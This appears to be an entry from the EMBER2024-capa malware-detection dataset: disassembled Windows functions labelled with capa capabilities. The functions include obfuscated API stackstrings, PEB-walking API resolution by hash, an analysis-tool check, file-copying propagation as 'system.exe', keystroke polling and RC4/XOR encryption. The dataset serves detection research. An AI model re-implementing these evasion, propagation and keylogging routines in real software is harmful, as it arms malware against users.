joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43dc30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x41
mov byte [ebp - 0xd], 0
mov byte [ebp - 0xc], 0x57
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x46
mov byte [ebp - 6], 0x69
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0
mov byte [ebp - 0x2c], 0x43
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x48
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x64
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0
lea eax, [ebp - 0x18]
push eax
call fcn.0043da30
add esp, 4
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0xc]
push ecx
call fcn.0043da30
add esp, 4
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x2c]
push edx
call fcn.0043da30
add esp, 4
mov dword [ebp - 0x1c], eax
push 0
push 0x80
push 4
push 0
push 1
push 0x10000000
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x43dd11
xor al, al
jmp 0x43dd36
mov dword [ebp - 0x38], 0
push 0
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [ebp - 0x30]
mov edx, dword [ebp - 0x20]
push edx
call dword [ebp - 0x1c]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x44eac0
Capabilities:
Hash data using rshash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x5c6b7
mov dword [ebp - 4], 0xf8c9
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x44eb38
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jl 0x44eb11
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x5a
jg 0x44eb11
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
lea eax, [eax + edx + 0x20]
mov dword [ebp - 0xc], eax
jmp 0x44eb23
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
add ecx, eax
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
add edx, 1
mov dword [ebp + 8], edx
jmp 0x44eadb
mov eax, dword [ebp - 0xc]
and eax, 0x7fffffff
mov esp, ebp
pop ebp
ret
Function at 0x44eb50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], 1
jmp 0x44eb86
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x44ebe4
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
push edx
call fcn.0044eac0
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x44ebe2
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov eax, dword [ebp - 0x10]
mov cx, word [edx + eax*2]
mov word [ebp - 0x18], cx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
movzx ecx, word [ebp - 0x18]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
mov eax, edx
jmp 0x44ebe6
jmp 0x44eb7d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x44ebf0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
push ebx
push ecx
mov ebx, dword fs:[0x30]
mov ecx, dword [ebx + 0xc]
mov ecx, dword [ecx + 0x1c]
mov ecx, dword [ecx]
mov eax, dword [ecx + 8]
mov dword [ebp - 0x14], eax
pop ecx
pop ebx
push 0x3777cccb
mov eax, dword [ebp - 0x14]
push eax
call fcn.0044eb50
add esp, 8
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x10]
push ecx
call dword [ebp - 0x18]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44ed70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x53
mov byte [ebp - 0x20], 0x79
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6d
mov byte [ebp - 0x1b], 0x44
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x72
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x79
mov byte [ebp - 0x12], 0x41
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x24]
push eax
call fcn.0044ee80
add esp, 4
mov dword [ebp - 0x10], eax
push 0x1c368da0
call fcn.0044ec70
add esp, 4
mov dword [ebp - 0xc], eax
push 0x104
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x10]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x3c]
mov dl, byte [ecx]
mov byte [ebp - 0x41], dl
add dword [ebp - 0x3c], 1
cmp byte [ebp - 0x41], 0
jne 0x44ee00
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x48]
mov byte [ecx - 2], 0
push 0x100050f0
mov edx, dword [ebp + 8]
push edx
call fcn.0044ed00
add esp, 8
call dword [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.0044ea50
add esp, 0xc
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0044ed00
add esp, 8
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0044ed00
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x44efe0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
push 0x74e3bb2e
call fcn.0044ec70
add esp, 4
mov dword [ebp - 0x16c], eax
push 0x3749ca10
call fcn.0044ec70
add esp, 4
mov dword [ebp - 0x14], eax
push 0x49f43cb7
call fcn.0044ec70
add esp, 4
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x28], 0x23ec5044
mov dword [ebp - 0x24], 0x33af2093
push 0
push 2
call dword [ebp - 0x16c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x158], 0x128
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [ebp - 0x14]
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea edx, [ebp - 0xc]
push edx
call dword [0x10005040]
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jne 0x44f0a7
lea eax, [ebp - 0xc]
push eax
call dword [0x10005038]
mov dword [ebp - 0x168], eax
mov byte [ebp - 0x164], 0x45
mov byte [ebp - 0x163], 0x6e
mov byte [ebp - 0x162], 0x75
mov byte [ebp - 0x161], 0x6d
mov byte [ebp - 0x160], 0x57
mov byte [ebp - 0x15f], 0x69
mov byte [ebp - 0x15e], 0x6e
mov byte [ebp - 0x15d], 0x64
mov byte [ebp - 0x15c], 0x6f
mov byte [ebp - 0x15b], 0x77
mov byte [ebp - 0x15a], 0x73
mov byte [ebp - 0x159], 0
lea ecx, [ebp - 0x164]
push ecx
mov edx, dword [ebp - 0x168]
push edx
call dword [0x10005080]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x150]
push ecx
call fcn.0044eeb0
add esp, 8
test eax, eax
je 0x44f191
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x150]
push eax
call fcn.0044eeb0
add esp, 8
test eax, eax
je 0x44f191
lea ecx, [ebp - 0x134]
push ecx
push 0x100050d0
call dword [0x1000507c]
test eax, eax
je 0x44f191
mov dword [0x10007128], 0
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x174], edx
lea eax, [ebp - 0x174]
push eax
push 0x10001550
call dword [ebp - 0x10]
cmp dword [0x10007128], 0xa
jbe 0x44f18d
mov eax, 1
jmp 0x44f1f3
xor eax, eax
jmp 0x44f1f3
lea ecx, [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [ebp - 0x170]
test eax, eax
jne 0x44f112
mov byte [ebp - 0x20], 0x4d
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x66
mov byte [ebp - 0x18], 0x66
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x20]
push eax
push 0
call dword [0x10005098]
test eax, eax
je 0x44f1f1
mov eax, 1
jmp 0x44f1f3
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x451350
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x698
push 0x40566d67
call fcn.0044ec70
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x10005088]
push 0x100050b0
lea edx, [ebp - 0x110]
push edx
call fcn.0044ed00
add esp, 8
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x1000502c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4513b0
jmp 0x451605
cmp dword [ebp - 0x250], 0x10
jne 0x45141f
movsx edx, byte [ebp - 0x224]
cmp edx, 0x2e
je 0x45141f
mov byte [ebp - 0x254], 0x5c
mov byte [ebp - 0x253], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x360]
push ecx
call dword [0x10005088]
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x360]
push eax
call fcn.0044ed00
add esp, 8
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x360]
push edx
call fcn.0044ed00
add esp, 8
lea eax, [ebp - 0x360]
push eax
call fcn.00451350
add esp, 4
push 0x100050b8
lea ecx, [ebp - 0x224]
push ecx
call fcn.00450900
add esp, 8
test eax, eax
je 0x4514a5
lea edx, [ebp - 0x224]
push edx
call dword [0x10005084]
movsx eax, byte [ebp + eax - 0x225]
cmp eax, 0x74
jne 0x4514a5
mov byte [ebp - 0x46c], 0x5c
mov byte [ebp - 0x46b], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x468]
push edx
call dword [0x10005088]
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005028]
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x468]
push eax
call dword [0x10005028]
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005064]
push 0x100050c0
lea edx, [ebp - 0x224]
push edx
call fcn.00450900
add esp, 8
test eax, eax
je 0x4515e2
lea eax, [ebp - 0x224]
push eax
call dword [0x10005084]
movsx ecx, byte [ebp + eax - 0x225]
cmp ecx, 0x65
jne 0x4515e2
mov byte [ebp - 0x57c], 0x5c
mov byte [ebp - 0x57b], 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x578]
push eax
call dword [0x10005088]
lea ecx, [ebp - 0x57c]
push ecx
lea edx, [ebp - 0x578]
push edx
call fcn.0044ed00
add esp, 8
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x578]
push ecx
call fcn.0044ed00
add esp, 8
push 0
lea edx, [ebp - 0x578]
push edx
call fcn.00450960
add esp, 8
movzx eax, al
test eax, eax
je 0x4515e2
push 0x104
lea ecx, [ebp - 0x698]
push ecx
call dword [0x10005024]
mov byte [ebp - 0x58c], 0x5c
mov byte [ebp - 0x58b], 0x5c
mov byte [ebp - 0x58a], 0x73
mov byte [ebp - 0x589], 0x79
mov byte [ebp - 0x588], 0x73
mov byte [ebp - 0x587], 0x74
mov byte [ebp - 0x586], 0x65
mov byte [ebp - 0x585], 0x6d
mov byte [ebp - 0x584], 0x2e
mov byte [ebp - 0x583], 0x65
mov byte [ebp - 0x582], 0x78
mov byte [ebp - 0x581], 0x65
mov byte [ebp - 0x580], 0
lea edx, [ebp - 0x58c]
push edx
lea eax, [ebp - 0x698]
push eax
call dword [0x10005028]
lea ecx, [ebp - 0x698]
push ecx
lea edx, [ebp - 0x578]
push edx
call fcn.00450960
add esp, 8
push 0x64
call dword [ebp - 4]
lea eax, [ebp - 0x250]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [0x1000503c]
test eax, eax
jne 0x4513b0
mov edx, dword [ebp - 8]
push edx
call dword [0x1000505c]
mov esp, ebp
pop ebp
ret
Function at 0x40fe9e
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0x20a
lea ecx, [ebp - 4]
call fcn.0043d3c3
mov eax, dword [ebp - 4]
mov word [eax], 0x20
mov eax, dword [ebp - 4]
and word [eax + 2], 0
mov eax, dword [ebp - 4]
push 0x208
add eax, 2
push eax
push str.SystemRoot
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push str.System32OnShutdown.wcs
lea ecx, [ebp - 4]
call fcn.0043d411
mov bl, byte [ebp + 0xc]
test bl, 0x20
mov esi, 0x4a5a2c
je 0x40fef9
mov esi, 0x4a453c
test bl, 0x10
je 0x40ff03
mov esi, str.reboot
test bl, 2
je 0x40ff0d
mov esi, str.logout
test bl, 4
je 0x40ff17
mov esi, str.suspend
test bl, 8
je 0x40ff21
mov esi, str.hiber
test bl, 0x40
je 0x40ff2b
mov esi, str.poweroff
test bl, bl
jns 0x40ff34
mov esi, str.lock
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
lea ecx, [ebp - 4]
mov edi, eax
call fcn.0043d411
push 0x4a4274
lea ecx, [ebp - 4]
call fcn.0043d411
cmp dword [ebp + 8], 0
je 0x40ff66
push dword [ebp + 8]
lea ecx, [ebp - 4]
call fcn.0043d411
push dword [ebp - 4]
mov esi, 0x4bdfa0
mov ecx, esi
call fcn.0042edd5
push str._25INDATA
lea ecx, [ebp - 8]
call fcn.00445746
mov eax, dword [ebp - 4]
lea eax, [eax + edi*2]
push eax
lea ecx, [ebp - 8]
call fcn.0043d411
test bl, 0x70
je 0x40ffa0
push dword [ebp - 8]
mov ecx, esi
call fcn.0042edd5
lea ecx, [ebp - 8]
call fcn.00437884
lea ecx, [ebp - 4]
call fcn.00437884
pop edi
pop esi
pop ebx
leave
ret

Function at 0x410065
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push edi
mov esi, 0x4a5b6c
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov byte [ebp - 1], 0
mov byte [ebp - 2], 0
mov edi, 0x4bdfa0
movsx ax, byte [ebp - 2]
add eax, 0x41
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 5
jne 0x4100ff
movsx ebx, byte [ebp - 1]
lea eax, [ebp - 0x10]
push eax
push ebx
lea eax, [ebp - 0x218]
push str.HKLMSYSTEMCurrentControlSetControlSession_ManagerEnvironmentCDROM_u_s
push eax
call esi
add esp, 0x10
push 0
lea eax, [ebp - 0x218]
push eax
mov ecx, edi
call fcn.00455ccf
lea eax, [ebp - 0x10]
push eax
push ebx
lea eax, [ebp - 0x218]
push str.CDROM_u
push eax
call esi
add esp, 0x10
inc byte [ebp - 1]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x218]
push eax
mov ecx, edi
call fcn.0043cc80
inc byte [ebp - 2]
cmp byte [ebp - 2], 0x1a
jl 0x41008f
cmp byte [ebp - 1], 0
pop edi
pop esi
pop ebx
jle 0x410123
mov ecx, dword [ebp + 8]
xor eax, eax
push eax
push eax
push eax
push str.THREAD_Envi
call fcn.0042cae7
leave
ret
Function at 0x409cc0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4919eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048699a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409d42
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004848ac
mov eax, dword [eax]
push 0x1027c70
push eax
call fcn.00476af4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00486c25
test bl, bl
je 0x409d42
push 0x1027c70
lea ecx, [esp + 0xc]
call fcn.00486fb5
push 0x1027c7c
lea ecx, [esp + 0xc]
call fcn.00486fb5
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x409d7e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00486c25
jmp 0x409e49
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x409e02
lea edx, [esp + 0x7c]
push 0x1027c78
push edx
call fcn.00476af4
add esp, 8
test eax, eax
je 0x409e02
lea eax, [esp + 0x7c]
push 0x1027c74
push eax
call fcn.00476af4
add esp, 8
test eax, eax
je 0x409e02
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x409d92
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00486c25
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40a650
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40a6b2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40a6c0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x491a6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x1037020]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40a7f8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40a726
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00486c25
xor eax, eax
jmp 0x40a86f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00486d62
push esi
lea ecx, [esp + 0xc]
call fcn.00486ff1
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x1027cb0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40a84d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.0040a650
test eax, eax
jne 0x40a84d
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.0040a650
test eax, eax
jne 0x40a84d
lea eax, [esp + 0x14]
push 0x1027c8c
push eax
call fcn.00477c40
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a82c
lea ecx, [esp + 0x14]
push 0x1027c88
push ecx
call fcn.00477bc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a82c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40a82f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00486d12
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40a73e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00486c25
xor eax, eax
jmp 0x40a86f
mov byte [esi], 0
push 0x1027c84
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00486c25
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x419b20
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x419b8e
cmp si, 0x69
ja 0x419b8e
add esi, 0xffd0
cmp si, 0x11
je 0x419b5e
push 0x11
call edi
test ax, ax
jge 0x419b5e
or esi, 0x2000
cmp si, 0x10
je 0x419b73
push 0x10
call edi
test ax, ax
jge 0x419b73
or esi, 0x4000
cmp si, 0x12
je 0x419b88
push 0x12
call edi
test ax, ax
jge 0x419b88
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x419b9b
mov esi, 0xbd
jmp 0x419b4f
cmp si, 0x6e
jne 0x419ba8
mov esi, 0xbe
jmp 0x419b4f
cmp si, 0x6f
jne 0x419b49
mov esi, 0xbf
jmp 0x419b4f

Function at 0x41b360
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x1047778]
xor edx, edx
cmp eax, edx
jne 0x41b386
xor eax, eax
mov byte [eax + 0x1047678], al
inc eax
cmp eax, 0x100
jl 0x41b36e
mov dword [0x1047778], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x1047678
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41b417
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41b3ea
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41b3b8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41b420
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41b473
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41b45a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret